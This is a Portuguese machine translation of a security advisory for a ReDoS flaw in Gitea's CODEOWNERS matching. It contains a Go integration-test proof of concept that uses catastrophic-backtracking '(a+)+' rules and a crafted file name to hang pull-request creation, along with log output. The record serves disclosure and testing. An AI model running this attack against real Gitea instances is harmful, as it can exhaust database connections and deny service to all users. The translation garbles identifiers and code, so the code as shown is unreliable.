Este problema foi encontrado por um agente de segurança e revisão por mim mesmo. A funcionalidade CODEOWNERS da Gitea usa o regexp 2 biblioteca para combinar caminhos de arquivos com regras de propriedade. Padrões fornecidos pelo usuário são passados diretamente para regexp 2 Compilar sem desinfectação e sem tempo de partida. Isto permite que um atacante escreva um padrão que faz com que o motor regex regresse exponencialmente quando avaliado contra um caminho de arquivo criado. ### Quem pode acioná-lo. Qualquer usuário registrado na instância. O atacante só precisa de: 1. Um repositório que eles possuem (criado através de inscrição normal) 2. Um arquivo `CODEOWNERS` no ramo padrão contendo padrões maliciosos 3. Um ramo de solicitação de puxar contendo um arquivo com um nome criado.

Nenhuma permissão elevada, nenhum acesso de administrador, nenhum repositório existente requerido. O atacante empurra um arquivo CODEOWNERS contendo instâncias repetidas de um padrão de retro- rastreamento catastrófico (por exemplo (a+)+ @atacker) e abre um pedido de puxação de um ramo que contém um arquivo nomeado com uma longa cadeia de caracteres repetidos seguido por um caractere não- pareado (por exemplo `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaX`). Quando a Gitea processa o pedido de puxação, ele avalia cada regra do CODEOWNERS contra cada caminho de arquivo alterado — sem tempo de espera — fazendo com que o servidor fique pendurado durante a duração do backtracking. Cada criação de pedido de puxação executa esta avaliação dentro de uma transação de banco de dados. Uma avaliação pendurada mantém essa transação aberta, ligando uma conexão de banco de dados durante toda a duração. Com 11 regras no arquivo CODEOWNERS, um único pedido de criação de solicitação de puxação toma o controle 30 segundos. Um atacante que abre múltiplos pedidos de puxação em paralelo pode exaustar o conjunto de conexão do banco de dados, tornando a instância da Gitea inativa a todos os usuários.

O regex vulnerável está aqui. gitea/ gitea/ blob/ 79810 ba 2 e 37 a 5 b 5 b 7840 a 7737 a 877 fc 7 f 1 x 7 c 38 /models/issues/pull.go#L 886 Abaixo está um PoC que demonstra que 11 linhas em um arquivo CODEOWNERS e um ramo bem nomeado podem desencadear tempos de processamento longos. Isto é testado no commit ` 689 ás 1 ce 28 fd 74244 b 8 aa 335 d 9928 cdbf 6 b 22 f 9 `.

`tests/integration/pull_redos_test.go` ````go integração de pacotes. // TestCodeOwnersReDoS_NewPillRequest demonstra a vulnerabilidade ReDoS // ativada através da puxação completa.NewPillRequest Chain. // // POST /api/v 1 /repos/ {proprietário}/ {repo}/pulls // -> roteadores/api/v 1 /repo/pull.go:CreatePullRequest // -> puxar.NovoPullRequest (services/pull/pull.go) // -> db.Com Tx issues_modèle.NovoPullRequest PullRequestCodeOwnersReview regra.Regula.MatchString(changedFile) <- pendura aqui (catastrófico de retrotracking) // // O atacante controla ambos os lados da partida: // - padrão CODEOWNERS: "(a+)+" compilado como ^(a+)+$ com regiexp 2. Nenhum (sem tempo de saída) // - PR mudou arquivo: "aaa...X" força O( 2 ^N) estados de retrotracking Importação ( "fmt" "net/http" "net/url" "strings" "testando" "tempo". auth_model "gitea.dev/models/auth" user_model "gitea.dev/models/user" "gitea.dev/models/unitest" "gitea.dev/modules/git" api "gitea.dev/modules/structus" repo_service "gitea.dev/service/repository" files_service "gitea.dev/service/repository/files" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ). Func TestCodeOwnersReDoS_NewPillRequest(t *testing.T) { onGiteaRun(t, func(t *testing.T, u *url.URL) { usuário 2:= unittest.AsserteExistsAndLoadBean(t, &user_model.User{ID: 2 }).

repo, err:= repo_service.CriarRepositoryDiretamente(t.Context(), usuário 2, usuário 2, repo_service.CreateRepoOptions{ Nome: "redos-codewners", Readme: "Predefinido", AutoInit: true, ObjectFormatName: git.Sha 1 ObjectFormat.Name(), OBJETS DE OBJETS DE VERDADE: "main", }, true) requerem.NoError(t, err) // Empurre os CODEOWNERS maliciosos para o ramo padrão. // 11 Regras idênticas × 1 arquivo alterado = 11 chamadas sequenciais de MatchString. // Cada chamada leva ~ 2.8 s ( 25 -car entrada tardia), totalizando ~ 30 s. // ParseCodeOwnersLine enrola cada token como ^(a+)+$ com regexp 2. Nenhum (sem tempo de saída). var codeholders strings.Builder for range 11 { donos de códigos.EscreverString("(a+)+ @user 2 \n") } _, err = files_service.ModificarRepoFiles(t.Context(), repositório, usuário 2, &files_service.ChangeRepoFilesOptions{ OldBranch: repo.DefaultBranch, Files: []*files_service.ChangeRepoFile{ { Operação: "criar", TreePath: "CODEOWNERS", ContentReader: strings.NewReader(codeowners.String()), }, }, }) requer.NoError(t, errr) // Crie um ramo de RP contendo um arquivo cujo caminho é um input // tardio para ^(a+)+$: 'a's que o motor combina com avidez, então 'X' força // backtracking através de O( 2 ^N) estados (~ 2.8 s por regra em 25 Cartões). maliciosoNome de arquivo:= strings.Repetição("a", 25 ) + "X" _, err = files_service.ModificarRepoFiles(t.Context(), repo, usuário 2, &files_service.ModificarArquivos RepoOpções{ NovoBranch: "ataque", Arquivos: []*files_service.ModificarArquivo Repo{ { Operação: "criar", TreePath: maliciosoNome de arquivo, Reader de conteúdo: strings.NewReader("x"), }, }, }) requerem.NoError(t, err).

// Obter um token API para o usuário 2 e enviar a solicitação de criação de PR. // Esta chamada puxar.NewPillRequest que executa problemats_model.NewPillRequest e // PullRequestCodeOwnersRevisar dentro de um único db.WithTx, ligando uma conexão DB // para a duração do backtracking hong. session:= loginUser(t, usuário 2.Nome) token:= getTokenForLoggedInUser(t, sessão, auth_model.AccessoTokenScopeWriteRepository) inicie:= tempo.Agora() req:= NovaRequestWithJSON(t, http.MethodPost, fmt.Sprintf("/api/v 1 /repos/%s/%s/pulls", usuário 2.Nome, repo.Name), &api.CreatePullRequestOption{ Título: "ReDoS PoC", Cabeça: "ataque", Base: repo.DefaultBranch, },.AdicionarTokenAuth(token) MakeRequest(t, req, http. StatusCreated) transcorrido:= tempo.Desde( início) t.Logf("pull.NewPullRequest completado em%s", decorrido) asserte. 25 * tempo. Segundo, "esperado ~ 30 s ReDoS pendurar ( 11 regras × ~ 2.8 s cada); o padrão pode ter sido saneado") } } ```.

``` # 1. Construir o binário (necessário para ganchos git durante a criação de reposições) fazer a compilação # 2. Execute o teste go teste -v - executar '^TestCodeOwnersReDoS_NewPullRequest$' -count= 1 - tempo de saída 120 s./ teste/ integração/ `` Quando o teste de unidade começar, você deve ver que ele é necessário 30 segundos com a seguinte saída: ``` === TestCodeOwnersReDoS_NewPillRequest (tests/integration/pull_redos_test.go: 42 ) testlogger.go: 62: 2026 / 06 / 02 14: 34: 43 módulos/ storage/local.go: 48:NewLocalStorage() [I] Criando um novo armazenamento local no / tmp/ gitea- 3 /tests/ gitea-lfs- meta testlogger.go: 62: 2026 / 06 / 02 14: 34: 43 Roteador HTTPRequest [I]: POST /api/intern/hook/pre-recebido/usuário concluído 2 /redos-code donos para 127.0.0.1: 0, 200 OK em 4.5 ms @ private/ hook_pre_ receive. go: 109 (privado.HookPreReceive) testlogger.go: 62: 2026 / 06 / 02 14: 34: 44 Roteador de solicitação HTTP [I]: POST /api/interno/hook/post-receive/user completado 2 /redos-code donos para 127.0.0.1: 0, 200 OK em 80.7 ms @ private/ hook_post_receive.go: 33 (privado.HookPostReceive) testlogger.go: 62: 2026 / 06 / 02 14: 34: 44 Roteador HTTPRequest [I]: POST /api/intern/hook/pre-recebido/usuário concluído 2 /redos-code donos para 127.0.0.1: 0, 200 OK em 3.5 ms @ private/ hook_pre_ receive. go: 109 (privado.HookPreReceive) testlogger.go: 62: 2026 / 06 / 02 14: 34: 44 Roteador de solicitação HTTP [I]: POST /api/interno/hook/post-receive/user completado 2 /redos-code donos para 127.0.0.1: 0, 200 OK em 60.8 ms @ private/ hook_post_receive.go: 33 (privado.HookPostReceive) testlogger.go: 62: 2026 / 06 / 02 14: 34: 44 Roteador HTTPRequest [I]: POST / user/ login completo para teste- mock: 12345, 303 Ver Outros em 3.1 ms @ auth/ auth.go: 284 (auth.LogInPost) testlogger.go: 62: 2026 / 06 / 02 14: 34: 44 Roteador HTTPRequest [I]: POST /user/ settings/ applications completados para teste- mock: 12345, 303 Ver Outros em 6.1 ms @ configuração/ aplicações.go: 36 (setting.ApplicationsPost) testlogger.go: 62: 2026 / 06 / 02 14: 34: 47 Roteador HTTPRequest [W]: POST /api/v lento 1 /repos/ usuário 2 /redos-codewners/pulls para teste-mock: 12345, transcorrido 3182.4 ms @ repo/ pull.go: 371 (repo.CrearPullRequest) testlogger.go: 62: 2026 / 06 / 02 14: 35: 16 Roteador de solicitação HTTP [I]: POST /api/v concluído 1 /repos/ usuário 2 /redos-codewners/pulls para teste-mock: 12345, 201 Criado em 31631.6 ms @ repo/ pull.go: 371 (repo.CrearPullRequest) pux_redos_test.go: 109: puxar.NovoPullRequest completado em 31.63184107 s +++ TestCodeOwnersReDoS_NewPullRequest é um teste lento (execução: 33.342443947 s, flush: 371.714 μs) --- PASS: TestCodeOwnersReDoS_NewPullRequest ( 33.34 s) PASS ```.

Você pode modificar o " 11 " número no arquivo CODEOWNERS para gerenciar a velocidade de execução diretamente: ```` vai para o intervalo 11 { donos de códigos.EscreverString("(a+)+ @user 2 \n") } ``` Um número maior de linhas irá aumentar o tempo de execução. Registro de aconselhamento: GHSA-v 96 J- 25 gv- g 2 w 9. Identificadores relacionados: CVE- 2026 - 58421.

Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 21 T 20: 34: 33.000 Z e lista a sua última modificação como 2026 - 07 - 21 T 20: 34: 33.000 Z. Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.

Software afetado e informações de versão: Go package code.gitea.io/gitea — ECOSISTEM: introduzido 0, corrigido 1.26.4. Classificação e evidência: identificadores de fraqueza CWE- 284. O registro contém 7 suporte de referências nestes tipos: WEB, AVISO, EMBALAGAMENTO.